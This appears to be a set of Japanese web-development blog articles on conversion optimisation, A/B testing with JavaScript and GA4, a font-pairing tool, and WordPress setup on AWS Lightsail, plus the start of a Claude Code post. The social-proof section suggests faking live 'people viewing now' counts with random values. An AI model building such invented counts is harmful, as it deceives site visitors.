テストすべき要素の優先順位 CTAボタンの文言: 「お問い合わせ」→「無料で相談する」で20〜30%改善の事例あり（HubSpot, 2023年） ファーストビューのキャッチコピー: 機能訴求 vs ベネフィット訴求 フォームのフィールド数: 項目削減でCVR平均25%向上（Formstack, 2023年） 料金ページのレイアウト: プラン数・推奨プランの強調方法 必要なアクセス数 月間5,000PV以上が推奨です。1,000〜5,000PVでは大きな変更のテストのみ有効、1,000PV未満ではABテストより改善施策の直接実施を優先しましょう。 ▶ 詳細はABテストのやり方 — 始めるべき判断基準とコード実装方法で解説しています。 2. EFO（フォーム最適化） — 離脱の最大ポイントを改善する EFO（Entry Form Optimization）は、問い合わせフォームや申し込みフォームの完了率を高める施策です。Baymard Institute の調査（2024年）によると、ECサイトのカート離脱率は平均70.19%に達し、その主な原因はフォームの複雑さです。 EFOの主な施策 フィールド数の削減: 本当に必要な項目だけに絞る（名前・メール・問い合わせ内容の3項目が理想） リアルタイムバリデーション: 送信ボタンを押す前にエラーを表示して修正を促す ステップフォーム: 長いフォームを複数ステップに分割し、進捗バーで完了率を可視化する オートコンプリート: 住所の郵便番号自動入力、メールドメインの候補表示 入力支援: プレースホルダーで入力例を表示、入力形式の自動変換（半角↔全角） これらはすべてJavaScriptで実装可能です。特にリアルタイムバリデーションとステップフォームは、プラグインなしでも比較的少ないコード量で実現できます。 ▶ 詳細はEFO（フォーム最適化）とは？離脱率を下げるコード実装ガイドで解説しています。 3. ファーストビュー改善 — 最初の3秒で離脱を防ぐ ファーストビュー（スクロールせずに見える領域）は、ユーザーがページに留まるか離脱するかを決める最重要エリアです。Nielsen Norman Group の調査によると、ユーザーの57%の閲覧時間がファーストビュー内に集中しています。 改善すべきポイント キャッチコピー: 「何ができるか」ではなく「何が解決するか」を伝える CTAの配置: ファーストビュー内にCTAボタンを含める ビジュアル: サービスの利用イメージが伝わる画像・動画を配置 社会的証明: 導入企業ロゴ・利用者数をファーストビューに含める ファーストビュー改善は、デザイン変更とHTML/CSSの修正で対応できるため、技術的なハードルが低い割に効果が大きい施策です。 ▶ 詳細はファーストビュー改善でCVRを上げる方法で解説しています。 4. 離脱防止ポップアップ — 最後のチャンスを逃さない 離脱防止ポップアップは、ユーザーがページを閉じようとした瞬間（exit-intent）にオファーやメッセージを表示する手法です。OptinMonster の事例では、exit-intentポップアップでメール登録率が最大600%向上したケースが報告されています。 実装のポイント exit-intent検出: マウスカーソルがブラウザ上端に移動した時点をJavaScriptで検出 表示頻度の制御: 同じユーザーに何度も表示しない（localStorageで制御） モバイル対応: モバイルではexit-intentが使えないため、スクロール率やページ滞在時間で代替 オファーの設計: 割引クーポン、無料資料、限定コンテンツなど離脱を引き留める動機を用意 JavaScriptのmouseleaveイベントとCSS モーダルで実装できます。有料ポップアップツール（月額数千円〜）が不要になるため、コスト削減効果も大きい施策です。 ▶ 詳細は離脱防止ポップアップをコードで実装する方法で解説しています。 5. マイクロコピー改善 — 小さなテキストがCVRを変える マイクロコピーとは、ボタンの文言、フォームのラベル、エラーメッセージなど、UIに含まれる短いテキストのことです。Unbounce の調査によると、CTAボタンのテキスト変更だけでCVRが最大90%改善した事例があります。 効果的なマイクロコピーのパターン 場所改善前改善後効果CTAボタン送信無料で相談する行動のハードルを下げるCTAボタン下（なし）1分で完了・営業電話なし不安を解消するフォーム上（なし）入力は3項目だけ心理的負担を減らす料金表月額9,800円月額9,800円（1日あたり327円）金額を小さく見せる マイクロコピー改善はHTMLのテキスト変更だけで完了するため、実装コストが最も低いCRO施策です。コードの変更量は最小ですが、CVRへのインパクトは大きくなります。 ▶ 詳細はマイクロコピー改善でCVRを上げる方法で解説しています。 6. ページ速度改善 — 遅いページはコンバージョンしない ページの表示速度はCVRに直結します。Google の調査によると、ページの読み込み時間が1秒から3秒に増えると直帰率が32%増加し、1秒から5秒では90%増加します。 Core Web Vitalsの改善ポイント 指標目標値主な改善方法LCP（最大コンテンツ描画）2.5秒以内画像の最適化、Critical CSSのインライン化、サーバー応答速度の改善INP（次のペイントまでの応答性）200ms以内JavaScriptの分割読み込み、メインスレッドのブロック解消CLS（累積レイアウトシフト）0.1以下画像・広告のサイズ指定、Webフォントのfont-display設定 ページ速度改善はフロントエンドのコード最適化が中心で、すべてコードで対応できます。PageSpeed Insights で現状を計測し、スコアの低い指標から優先的に改善しましょう。 ▶ 詳細はページ速度改善の方法 — Core Web Vitalsをコードで最適化で解説しています。 7. ソーシャルプルーフ — 他者の行動が意思決定を後押しする ソーシャルプルーフ（社会的証明）とは、他者の行動や評価を見て自分の判断に反映する心理効果です。BrightLocal の調査（2024年）によると、消費者の87%がオンラインレビューを購入前に確認しています。 実装パターン 導入企業ロゴの一覧: ファーストビューまたはCTA周辺に配置 利用者数・実績数値: 「導入企業500社」「年間1,000件の制作実績」 ユーザーレビュー・お客様の声: 具体的な成果数値を含むテキスト リアルタイム情報: 「現在○人が閲覧中」「本日○件のお申し込み」 ソーシャルプルーフは静的なHTML/CSSで実装できるものが大半です。リアルタイム表示のみJavaScriptが必要ですが、localStorageとランダム値で簡易的に実装することも可能です。 ▶ 詳細はソーシャルプルーフ（社会的証明）でCVRを上げる方法で解説しています。 8. パーソナライズ — ユーザーごとに最適な体験を提供する パーソナライズとは、ユーザーの属性や行動に基づいて表示内容を動的に変更する手法です。McKinsey の調査（2023年）によると、パーソナライズを実施している企業は、そうでない企業と比較して売上が40%高い傾向にあります。 コードで実現できるパーソナライズ 条件実装例使用技術流入元Google広告から来たユーザーに広告連動のCTAを表示URLパラメータ（utm_source）訪問回数初回訪問者に初回限定オファーを表示localStorageデバイスモバイルユーザーに電話CTAを表示User-Agent / メディアクエリ閲覧履歴過去に見た商品カテゴリの関連商品を表示localStorage + JavaScript 高度なパーソナライズにはサーバーサイドの実装が必要ですが、上記のようなクライアントサイドのパーソナライズはJavaScriptだけで実装可能です。まずはUTMパラメータを使った流入元別の出し分けから始めるのが効果的です。 ▶ 詳細はWebパーソナライズの実装方法で解説しています。 CRO施策の優先順位の決め方 8つの手法をすべて同時に実施する必要はありません。以下のフレームワークで優先度を判断しましょう。 優先度手法理由最優先マイクロコピー改善実装コスト最小・効果大。テキスト変更だけで完了高EFO（フォーム最適化）離脱の最大ポイント。CVRへの直接的なインパクトが大きい高ファーストビュー改善直帰率に直結。デザイン変更のみで技術的ハードルが低い中ページ速度改善効果は確実だが、改善に技術的知識が必要中ABテスト他の施策の効果検証に使用。月間5,000PV以上が前提中離脱防止ポップアップ効果は高いがUXとのバランスが必要低（発展）ソーシャルプルーフコンテンツ（実績・レビュー）の準備が必要低（発展）パーソナライズ効果は大きいが実装の複雑さが高い まずはマイクロコピー改善とEFOから着手し、効果が確認できたらABテストで他の施策を検証していく流れが最も効率的です。 ### [ABテストのやり方 — 始めるべき判断基準とコード実装方法](https://codequest.work/ab-test-guide/) ABテストとは、Webページの要素を2パターン用意し、ユーザーをランダムに振り分けて成果を比較する改善手法です。有料ツールを使わなくても、JavaScriptとGA4だけで実装できます。 ただし、ABテストはどのサイトでも有効なわけではありません。アクセス数が少なすぎると統計的に意味のある結果が出ず、時間の無駄になります。この記事では、ABテストを始めるべきアクセス数の判断基準と、コードで実装する具体的な方法を解説します。 ABテストを始めるべき判断基準 ABテストで統計的に有意な結果を得るには、一定のサンプル数（アクセス数）が必要です。VWOのサンプルサイズ計算ツールによると、信頼度95%・検出力80%でCVRの変化を検出するには、バリアントあたり数千〜数万のセッションが求められます。 月間PV別の判断目安 月間PVABテストの適性テスト期間の目安1,000PV未満時期尚早。改善施策を直接実施する方が効率的—1,000〜5,000PV大きな変更（ファーストビュー全体の差し替え等）のみ有効4〜8週間5,000〜10,000PVCTAボタンやフォーム改善など中規模テストが可能2〜4週間10,000PV以上細かい文言・色の変更も検証可能1〜2週間 この目安は、現在のCVR（コンバージョン率）が1〜5%の場合の数値です。CVRが高いページほど少ないPVでもテスト可能ですが、CVRが0.5%未満のページでは月間10,000PV以上あっても検証に時間がかかります。 テストすべきか判断するチェックリスト 対象ページの月間PVが1,000以上あるか 現在のCVR（問い合わせ・購入・登録など）を計測できているか テストしたい仮説が明確か（「なんとなく変えてみる」はNG） 最低2週間はテストを継続できるか（途中で変更しない） 上記すべてに該当する場合、ABテストを始める準備ができています。1つでも該当しない場合は、先にアクセス解析の整備や集客施策を優先しましょう。 ABテストが効果的な4つのパターン すべての要素をテストする必要はありません。以下の4パターンは、少ない工数で大きな改善が見込める優先度の高いテスト対象です。 1. CTAボタンの文言と配置 CTAボタンはABテストで最も効果が出やすい要素です。HubSpotの調査（2023年）では、CTAの文言変更だけでCVRが20〜30%改善した事例が報告されています。テストすべきポイントは以下の通りです。 文言: 「お問い合わせ」vs「無料で相談する」 色: ページの補色を使った目立つ色 vs ブランドカラー 配置: ファーストビュー内 vs コンテンツ読了後 2. ファーストビューの構成 ファーストビュー（スクロールせずに見える領域）はユーザーの直帰率に直結します。Google の調査によると、ユーザーの53%が読み込みに3秒以上かかるページを離脱します。以下の要素をテストすることで、ページの第一印象を最適化できます。 キャッチコピー: 機能訴求 vs ベネフィット訴求 メインビジュアル: 写真 vs イラスト vs 動画 社会的証明: 導入実績・レビューの有無 3. フォームのフィールド数 Formstackの調査（2023年）によると、フォームのフィールド数を削減するとCVRが平均25%向上します。ただし、リードの質とのトレードオフがあるため、ABテストで最適なバランスを見つけることが重要です。 最小構成（名前+メール）vs 詳細構成（名前+メール+電話+会社名） ステップフォーム（複数ページ）vs 単一ページフォーム 必須項目の数: 3項目 vs 5項目 4. 料金ページのレイアウト 料金ページは購入・契約の直前にユーザーが訪れるページです。Chargebeeの分析によると、料金ページの改善はサイト全体のCVR改善に対して最大のインパクトを持つとされています。 プラン数: 2プラン vs 3プラン vs 4プラン 推奨プランの強調方法: バッジ vs 枠線 vs 背景色 年払い・月払いの切り替えUI: トグル vs タブ ABテストの具体的な進め方（5ステップ） ABテストは「とりあえず2パターン作って比較する」だけでは意味がありません。以下の5ステップで進めることで、再現性のある改善サイクルを回せます。 仮説を立てる: 「CTAの文言を"無料で相談する"に変更すると、CVRが向上するだろう。理由は現在の"お問い合わせ"では行動のハードルが高く感じられるため」のように、変更内容・期待する結果・理由を明文化する 計測環境を整える: GA4でコンバージョンイベントを設定し、テスト対象ページの現在のCVRを最低2週間計測してベースラインを把握する テストを実装する: JavaScriptでユーザーをランダムに振り分け、各バリアントの表示とイベント送信を実装する（次章で解説） 統計的有意差を判定する: 最低2週間以上データを収集し、サンプルサイズ計算ツールで有意差（信頼度95%以上）が出ているか確認する 勝ちパターンを本番反映する: 有意差が出たバリアントを正式実装し、テストコードを除去する。結果と学びをドキュメントに記録する コードで実装するABテスト — ツールは不要 Google Optimize がサービス終了した現在、ABテストツールの多くは月額数万円〜数十万円の有料プランです。しかし、ABテストの本質は「ランダム振り分け」と「イベント計測」の2つだけ。JavaScriptとGA4があれば、ツールなしでABテストを実装できます。 JavaScriptによるランダム振り分け 以下のコードは、ユーザーをAパターン（オリジナル）とBパターン（バリアント）にランダム振り分けし、localStorage で割り当てを固定する実装例です。 function getABVariant(testName) { const storageKey = `ab_test_${testName}`; const stored = localStorage.getItem(storageKey); if (stored === 'A' || stored === 'B') { return stored; } const variant = Math.random() < 0.5 ? 'A' : 'B'; localStorage.setItem(storageKey, variant); return variant; } // 使用例: CTAボタンのテスト const variant = getABVariant('cta_text_2024'); const ctaButton = document.querySelector('.cta-button'); if (variant === 'B') { ctaButton.textContent = '無料で相談する'; } 参考: Web Storage API - MDN Web Docs GA4でバリアント別にイベントを送信する 振り分けたバリアント情報をGA4のカスタムイベントとして送信し、どちらのパターンが成果を上げたか計測します。 // バリアント表示をGA4に送信 gtag('event', 'ab_test_impression', { test_name: 'cta_text_2024', variant: variant }); // CTAクリック時にバリアント情報を付与 ctaButton.addEventListener('click', () => { gtag('event', 'ab_test_conversion', { test_name: 'cta_text_2024', variant: variant }); }); 参考: GA4 イベントを送信する - Google Developers GA4の探索レポートで test_name と variant をディメンションに設定すれば、バリアント別のCVRを比較できます。 コード実装のメリット 比較項目有料ツールコード実装月額コスト数万円〜数十万円0円導入の自由度ツールの仕様に依存完全にカスタマイズ可能ページ速度への影響外部スクリプト読み込みで遅延軽量（数KB）統計判定ツール内で自動計算自分で計算が必要学習コスト低い（GUI操作）JavaScript・GA4の知識が必要 コスト・速度・自由度の面ではコード実装が有利です。統計判定はオンラインの有意差計算ツール（ABテスト計算機）で補えるため、技術力があればツールは不要です。 ABテストのコード実装を依頼する → RINIA ABテストでよくある3つの失敗パターン 1. サンプル数が不足したまま判断する 最も多い失敗は、十分なデータが集まる前にテストを終了することです。「3日間でBパターンのCVRが高いから採用」のような判断では、たまたまの偏りに過ぎない可能性があります。最低でも各バリアントに100件以上のコンバージョンが発生するまで待ちましょう。 2. 複数の要素を同時に変更する ボタンの色・文言・配置を同時に変えると、どの変更が効果に寄与したのか分からなくなります。ABテストでは1回のテストで変更する要素を1つに絞るのが原則です。複数要素を同時にテストしたい場合は、多変量テスト（MVT）を検討してください。 3. 曜日や季節の影響を無視する BtoBサイトでは平日と週末でCVRが大きく異なります。テスト期間が月曜〜水曜だけでは、週末のユーザー行動を反映できません。最低でも2週間（14日間）以上のテスト期間を確保し、曜日の偏りを排除しましょう。 よくある質問（FAQ） Q. ABテストに必要な最低アクセス数は？ 月間1,000PV以上が目安です。ただし、CVRが低いページ（0.5%未満）では月間5,000PV以上が必要になります。統計的有意差を得るには、各バリアントに100件以上のコンバージョンが必要です。 Q. ABテストのツールは必要ですか？ 必須ではありません。ABテストの本質はランダム振り分けとイベント計測の2つで、JavaScriptとGA4があればコードだけで実装できます。有料ツールはGUIでの操作性や自動統計判定が利点ですが、月額コストがかかります。 Q. ABテストの期間はどのくらい必要ですか？ 最低2週間以上を推奨します。曜日による行動パターンの偏りを排除するために、7の倍数の日数（14日、21日、28日）でテストを区切るのが効果的です。月間5,000PV以上のページであれば、2〜4週間で有意な結果が得られることが多いです。 Q. ABテストとMVT（多変量テスト）の違いは？ ABテストは1つの要素を2パターンで比較します。MVT（多変量テスト）は複数の要素の組み合わせを同時にテストする手法です。MVTはより多くのサンプル数が必要で、月間10,000PV以上のページでないと実施が難しいため、まずはABテストから始めることを推奨します。 Q. ABテストで有意差が出なかった場合はどうすればいい？ 有意差が出ないのは「差がなかった」という有効な結果です。その要素はCVRへの影響が小さいと判断し、別の仮説でテストを設計しましょう。仮説の粒度が細かすぎた場合は、ファーストビュー全体の変更など、より大きな変更をテストすることで差が出やすくなります。 ABテストの実装はコードで完結する ABテストは、有料ツールがなくてもJavaScriptとGA4だけで実装可能です。月額コスト0円で、ページ速度に影響を与えず、完全にカスタマイズできます。 「ABテストの仕組みは理解できたが、実装まで手が回らない」「自社サイトに最適なテスト設計を相談したい」という場合は、コードによるABテスト実装に対応しているWeb制作チームにご相談ください。 ### [フォントペアリング プレビューア｜見出し×本文の組み合わせをプレビュー](https://codequest.work/font-pairing-previewer/) フォントペアリングとは、見出しと本文に異なるフォントを組み合わせて、読みやすく魅力的なデザインを作る手法のことです。ブログやWebサイトのフォント選びは印象を大きく左右しますが、実際に組み合わせてみないと相性は判断できません。 CodeQuest.workでは、Google Fontsの見出し×本文をブログ記事風にリアルタイムプレビューできるフォントペアリング プレビューアを公開しました。サイズ・行間・背景色を調整して、CSSコードをそのままコピーできます。この記事では、ツールの概要と使い方を紹介します。 ▶ フォントペアリング プレビューアを今すぐ使う フォントペアリングとは フォントペアリングとは、2種類以上のフォントを組み合わせて使うデザイン手法です。一般的には、見出しに装飾性の高いフォント、本文に可読性の高いフォントを使い分けることで、視覚的な階層とリズムを生み出します。 たとえば、見出しに明朝体（セリフ体）、本文にゴシック体（サンセリフ体）を使う組み合わせは、日本語のWebデザインでよく使われる定番パターンです。フォントの対比があることで、見出しが目に留まりやすくなり、本文は長文でもストレスなく読めるようになります。 ただし、フォントの相性は実際に並べてみないとわかりません。CSSで設定して確認し、気に入らなければ変更して……という試行錯誤を繰り返すのは非効率です。フォントペアリング プレビューアは、この「試して確認する」プロセスをブラウザ上で即座に行えるツールです。 フォントペアリング プレビューアでできること 見出しフォント×本文フォントの組み合わせを、実際のブログ記事風レイアウトでプレビューできる Google Fontsから日本語・英語フォントを選択できる 見出しサイズ・本文サイズ・行間を自由に調整できる プレビュー背景を白・アイボリー・ダークの3種から切り替えられる CSSコード（@import形式）とHTMLコード（linkタグ形式）をワンクリックでコピーできる ブラウザのみで動作。登録・インストール不要で無料で利用できる 使い方：3ステップでフォントを決定 見出しフォントと本文フォントをそれぞれ選択する サイズ・行間・背景色を調整してプレビューを確認する 気に入った組み合わせのCSSコードをコピーしてサイトに貼り付ける ステップ1：フォントを選択する ツールを開くと、デフォルトで「Noto Serif JP × Noto Sans JP」の組み合わせが表示されます。見出しフォントと本文フォントのドロップダウンから、Google Fontsに収録されている日本語・英語フォントを選択できます。 ステップ2：サイズと行間を調整する 見出しサイズ（デフォルト32px）、本文サイズ（デフォルト17px）、行間（デフォルト1.8）をスライダーで調整できます。変更はリアルタイムでプレビューに反映されるため、微調整がしやすい設計です。プレビュー背景を白・アイボリー・ダークに切り替えることで、実際のサイトに近い環境で確認できます。 ステップ3：CSSコードをコピーする 組み合わせが決まったら、ツール下部に表示されるCSSコード（@import形式）またはHTMLコード（linkタグ形式）をコピーボタンで取得します。自分のサイトのスタイルシートやHTMLに貼り付けるだけで、選んだフォントをそのまま使えます。 出力されるCSSコードのサンプルは以下のような構造です。 /* Google Fonts 読み込み */ @import url('https://fonts.googleapis.com/css2?family=Noto+Serif+JP:wght@400;700&family=Noto+Sans+JP:wght@400;700&display=swap'); /* 見出しフォント */ h1, h2, h3 { font-family: 'Noto Serif JP', serif; font-size: 32px; } /* 本文フォント */ body, p { font-family: 'Noto Sans JP', sans-serif; font-size: 17px; line-height: 1.8; } おすすめフォントペアリングパターン 以下は、日本語ブログでよく使われる定番の組み合わせです。ツールで実際にプレビューして、自分のサイトに合うパターンを見つけてみてください。 パターン見出し本文印象王道クラシックNoto Serif JPNoto Sans JP上品で読みやすい。ブログの定番モダンテックM PLUS 1Noto Sans JP幾何学的でスッキリ。テック系サイト向け柔らかナチュラルZen Maru GothicNoto Sans JP丸みがあり親しみやすい。暮らし・食系英語アクセントPlayfair DisplayNoto Sans JP英語見出しで洗練された印象。ポートフォリオ向けミニマル統一Noto Sans JP（Bold）Noto Sans JP（Regular）同一フォントのウェイト違い。統一感重視 Google Fontsで利用できる日本語フォントは年々増えています。2024年時点では50書体以上が利用可能で、明朝体・ゴシック体・丸ゴシック・手書き風など多様なスタイルが揃っています。 フォント選びのポイント 対比を作る：見出しと本文で異なるカテゴリのフォント（明朝×ゴシック、セリフ×サンセリフ）を使うと、視覚的な差が生まれて読みやすくなる 使うフォントは2つまで：3つ以上のフォントを使うと統一感が失われやすい。見出し用と本文用の2書体に絞るのが基本 本文は可読性を最優先：本文フォントは長文でも疲れにくいものを選ぶ。Noto Sans JPやBIZ UDPGothicなどユニバーサルデザイン系が安定 表示速度を意識する：Google Fontsは外部リソースの読み込みが発生するため、使用するウェイト（太さ）は必要最小限に絞る。display=swapを指定すればフォント読み込み中も代替フォントで表示される CodeQuest.workで公開中の全ツールは「Web制作の無料ツール10選｜レイアウト・コード比較・SEO診断・デザイン」でまとめて紹介しています。 よくある質問 Q. 無料で使えますか？ はい、フォントペアリング プレビューアは無料でご利用いただけます。アカウント登録も不要です。Google Fonts自体もすべて無料で商用利用可能なフォントライブラリです。 Q. 選べるフォントの種類はどれくらいありますか？ Google Fontsに収録されている日本語フォント・英語フォントから選択できます。日本語フォントだけでも50書体以上あり、明朝体・ゴシック体・丸ゴシック・手書き風など幅広いスタイルに対応しています。 Q. WordPressのブログにそのまま使えますか？ はい、コピーしたCSSコードをテーマのスタイルシート（style.css）や追加CSSに貼り付ければ、そのまま反映されます。HTMLのlinkタグ形式もコピーできるので、header.phpに直接記述する方法でも使えます。 Q. フォントを変えるとサイトの表示速度に影響しますか？ Google Fontsは外部からフォントファイルを読み込むため、多少の読み込み時間が発生します。影響を最小限にするには、使用するウェイト（太さ）をRegular（400）とBold（700）の2種類に絞り、display=swapを指定するのが効果的です。本ツールが出力するCSSにはdisplay=swapが含まれています。 Q. スマートフォンでもプレビューできますか？ はい、スマートフォンのブラウザでも動作します。ただし、フォント選択やスライダー操作はPC画面のほうが操作しやすいため、じっくり比較したい場合はPCでの利用を推奨します。 まとめ フォントペアリング プレビューアは、見出し×本文のフォント組み合わせをリアルタイムで試せるツールです。サイズや行間、背景色を調整しながら実際のブログ記事に近いレイアウトで確認でき、気に入った組み合わせのCSSコードをそのままコピーして使えます。 ブログやWebサイトのフォント選びで迷ったときに、ぜひ活用してみてください。 ▶ フォントペアリング プレビューアを使ってみる ### [AWS LightsailでWordPressを構築する手順【初心者向け】](https://codequest.work/aws-lightsail-wordpress/) AWS Lightsail（ライトセイル）は、AWSが提供するVPSサービスで、月額$3.50からWordPressサイトを構築・運用できます。EC2のような複雑な設定が不要で、初心者でも数分でWordPress環境を立ち上げられるのが最大の特徴です。 この記事では、AWS LightsailでWordPressを構築する手順をステップ形式で解説します。AWSアカウントの作成からSSL証明書の設定まで、初めてAWSを触る方でも迷わず進められる内容です。 AWS Lightsailとは？ AWS Lightsailとは、Amazon Web Services（AWS）が提供する仮想プライベートサーバー（VPS）サービスです。EC2やRDSなどAWSの主要サービスを簡易的にパッケージ化し、月額固定料金で利用できるように設計されています。 AWS公式ドキュメント（2024年）によると、Lightsailは「小規模なWebアプリケーション、ブログ、Webサイトに最適」と位置づけられています。WordPress専用のブループリント（テンプレート）が用意されており、サーバー構築の知識がなくても数クリックでWordPress環境が完成します。 主な特徴は以下の通りです。 月額固定料金：$3.50〜$160の定額制で、従量課金の心配がない ワンクリックデプロイ：WordPress、LAMP、Node.js等のブループリントが用意されている AWSインフラ：EC2と同じデータセンター・ネットワーク上で稼働する スケーラビリティ：必要に応じてEC2やRDSへの移行パスが用意されている 静的IP・DNS管理：ドメイン設定やSSL証明書も管理画面内で完結する LightsailがWordPressに向いている理由 WordPressのホスティング先としてLightsailが優れているのは、AWSのインフラを低コスト・低難度で使える点にあります。以下の比較表で、他の選択肢との違いを確認してください。 項目AWS LightsailAWS EC2レンタルサーバー月額料金$3.50〜（固定）従量課金（$10〜目安）500〜1,500円初期設定の難易度低い（ブループリント）高い（OS・ミドルウェア手動）非常に低いスケーラビリティ中（スナップショット移行）高（Auto Scaling対応）低いサーバー管理SSH接続可（root権限あり）SSH接続可（完全制御）制限ありSSL証明書Let's Encrypt（手動設定）ACM + ALB（追加費用）無料SSL（自動更新）CDN連携CloudFront（追加設定）CloudFront（追加設定）提供元による向いている用途個人〜小規模サイト中〜大規模・高トラフィック個人ブログ・コーポレート Lightsailは「レンタルサーバーの手軽さ」と「AWSの拡張性」を両立した選択肢です。月間PVが数万程度のWordPressサイトであれば、$3.50〜$5.00プランで十分に運用できます。 AWS LightsailでWordPressを構築する手順 ここからは実際の構築手順を6ステップで解説します。所要時間は約30分です。 ステップ1. AWSアカウントの作成 AWS公式サイトからアカウントを作成します。すでにAWSアカウントを持っている場合はこのステップをスキップしてください。 AWS公式サイトにアクセスし「無料アカウントを作成」をクリック メールアドレス、パスワード、アカウント名を入力 連絡先情報（住所・電話番号）を入力 クレジットカード情報を登録（$1の認証課金あり、後日返金） 電話またはSMSによる本人確認を完了 サポートプラン選択（無料の「ベーシック」でOK） AWSアカウントの作成後、Lightsailの12ヶ月無料枠（$3.50プランまたは$5.00プラン相当）が利用できます。初期費用をかけずにWordPress環境を試せるのは大きなメリットです。 ステップ2. Lightsailインスタンスの作成 Lightsailコンソールにログインし、WordPressインスタンスを作成します。 Lightsailコンソールを開き「インスタンスの作成」をクリック リージョンを選択（日本向けサイトなら「東京 ap-northeast-1」を推奨） プラットフォームは「Linux/Unix」を選択 ブループリントから「WordPress」を選択（Multisite版ではない通常版） インスタンスプランを選択（個人サイトなら$5.00プランがおすすめ） インスタンス名を入力（例：wordpress-codequest） 「インスタンスの作成」をクリック $3.50プラン（メモリ512MB）でも動作しますが、プラグインの追加やアクセス増加を考慮すると$5.00プラン（メモリ1GB）が安定します。AWS公式も本番環境には1GB以上のメモリを推奨しています。 ステップ3. 静的IPの割り当て Lightsailインスタンスにはデフォルトで動的IPが割り当てられますが、インスタンスの停止・再起動でIPが変わってしまいます。独自ドメインを設定するために、静的IPを割り当てましょう。 Lightsailコンソールの「ネットワーキング」タブを開く 「静的IPの作成」をクリック 作成したWordPressインスタンスにアタッチ 静的IP名を入力（例：wordpress-static-ip） 「作成」をクリック 静的IPはインスタンスにアタッチしている限り無料です。アタッチせずに放置すると課金対象になるため、不要になったら削除してください。 ステップ4. ドメイン設定（DNS） 取得済みの独自ドメインをLightsailインスタンスに向けます。ドメインレジストラ（お名前.com、ムームードメイン等）の管理画面でDNSレコードを設定します。 ドメインレジストラのDNS管理画面を開く Aレコードを追加：ホスト名「@」→ Lightsailの静的IPアドレス Aレコードを追加：ホスト名「www」→ 同じ静的IPアドレス DNS反映を待つ（通常数分〜最大48時間） 代替として、LightsailのDNSゾーンを使う方法もあります。その場合はドメインレジストラのネームサーバーをLightsailのNSレコードに変更します。 ステップ5. SSL証明書の設定（Let's Encrypt） HTTPS化はSEOにおいても必須です。Googleは2014年からHTTPSをランキングシグナルとして使用しています。LightsailのWordPressインスタンスでは、Bitnamiが提供するツールでLet's Encrypt証明書を簡単に設定できます。 LightsailコンソールからブラウザベースのSSHクライアントを開き、以下のコマンドを実行します。 sudo /opt/bitnami/bncert-tool 対話形式で以下の情報を入力します。 ドメイン名を入力（例：example.com www.example.com） HTTPからHTTPSへのリダイレクトを有効化（Y） wwwなしからwwwあり（またはその逆）のリダイレクトを設定 メールアドレスを入力（証明書の期限通知用） Let's Encryptの利用規約に同意（Y） bncert-toolは自動更新の設定も行うため、証明書の手動更新は不要です。設定完了後、ブラウザでhttps://ドメイン名にアクセスし、鍵マークが表示されることを確認してください。 ステップ6. WordPress管理画面へのログイン Lightsailが自動生成した管理者パスワードを取得し、WordPressにログインします。 SSHターミナルで以下のコマンドを実行します。 cat /home/bitnami/bitnami_application_password 表示されたパスワードをコピーし、以下の情報でログインします。 URL：https://ドメイン名/wp-admin/ ユーザー名：user パスワード：上記コマンドで取得した文字列 ログイン後、最初にやるべきことはパスワードの変更です。「ユーザー」→「プロフィール」から安全なパスワードに変更してください。 構築後にやるべき初期設定 WordPressの構築が完了したら、以下の初期設定を行いましょう。これらの設定を怠ると、セキュリティリスクやSEO上の問題が発生する可能性があります。 パーマリンクの設定 WordPressのデフォルトパーマリンクは「?p=123」形式ですが、SEOの観点では「投稿名」形式が推奨されます。「設定」→「パーマリンク」から「投稿名」を選択してください。 セキュリティ対策 管理者ユーザー名の変更：デフォルトの「user」は攻撃対象になりやすいため、新しい管理者アカウントを作成し「user」を削除 Bitnamiバナーの削除：sudo /opt/bitnami/apps/wordpress/bnconfig --disable_banner 1を実行し、ページ右下のバナーを非表示に 定期バックアップ：Lightsailのスナップショット機能で週次の自動バックアップを設定 WordPress・プラグインの更新：管理画面から定期的にアップデートを適用 サイト基本情報の設定 「設定」→「一般」でサイトのタイトルとキャッチフレーズを設定 「設定」→「一般」でサイトアドレスがhttps://になっていることを確認 「設定」→「表示設定」で検索エンジンのインデックスを許可（「検索エンジンがサイトをインデックスしないようにする」のチェックを外す） タイムゾーンを「東京」に設定 料金と注意点 AWS Lightsailの料金体系はシンプルな月額固定制です。2024年時点のWordPress向けプランは以下の通りです。 プラン月額料金メモリvCPUSSD転送量Nano$3.50512MB220GB1TBMicro$5.001GB240GB2TBSmall$10.002GB260GB3TBMedium$20.004GB280GB4TBLarge$40.008GB2160GB5TB 注意すべきポイントは以下の3点です。 無料枠の期間：新規AWSアカウントはLightsailの$3.50または$5.00プラン相当が12ヶ月無料。ただし無料枠終了後は自動的に課金が始まる 転送量超過：各プランの転送量を超えると$0.09/GBの追加料金が発生する。通常のブログ運営で超過することはまれだが、画像の多いサイトは注意 スケールアップのタイミング：管理画面の応答が遅い、メモリ使用率が常時80%を超える場合はプランの引き上げを検討する。スナップショットを取得してから新しいインスタンスに復元する手順で移行可能 よくある質問 Q. AWS Lightsailの無料枠はどのくらい使えますか？ 新規AWSアカウント作成から12ヶ月間、$3.50プランまたは$5.00プラン相当のインスタンスが無料で利用できます。12ヶ月経過後は選択したプランの月額料金が自動的に課金されます。 Q. LightsailとEC2のどちらを選ぶべきですか？ 月間PVが数万程度のサイトならLightsailで十分です。月額固定で予算管理しやすく、WordPressブループリントで初期設定も簡単です。大規模サイトやAuto Scaling、ロードバランサーが必要な場合はEC2を検討してください。 Q. Lightsailで複数のWordPressサイトを運用できますか？ 1つのインスタンスに複数サイトを構築するにはWordPress Multisiteまたはバーチャルホストの設定が必要です。管理の複雑さを考慮すると、サイトごとに別インスタンスを作成するのが推奨されます。各インスタンスは独立して管理・バックアップできます。 ### [Claude Codeでブログ見出しデザインツールを作ってみた｜プロンプト公開](https://codequest.work/claude-code-heading-design-tool/) 「ブログの見出しをおしゃれにしたいけど、CSSがわからない」——そんな悩みを解決するツールを、Claude Codeにプロンプトを投げるだけで作ってみました。プログラミング経験がなくても、AIに日本語で指示するだけでWebアプリが完成する時代です。この記事では、実際に使ったプロンプトから完成までの全過程を公開します。 完成したアプリ「見出しデザイン プレビューア」 まずは完成物をご覧ください。以下のリンクから実際に触れます。 デモURL：見出しデザイン プレビューア 主な機能 見出しデザイン14パターンをリアルタイムプレビュー CSSアニメーション付きデザイン7種（ホバーエフェクト・グラデーション流れ・タイピングカーソルなど） HTML+CSSをワンクリックでコピー（WordPressのカスタムHTMLブロックにそのまま貼れる） 見出しテキスト・HTMLタグ（h2/h3/h4）を自由に変更可能 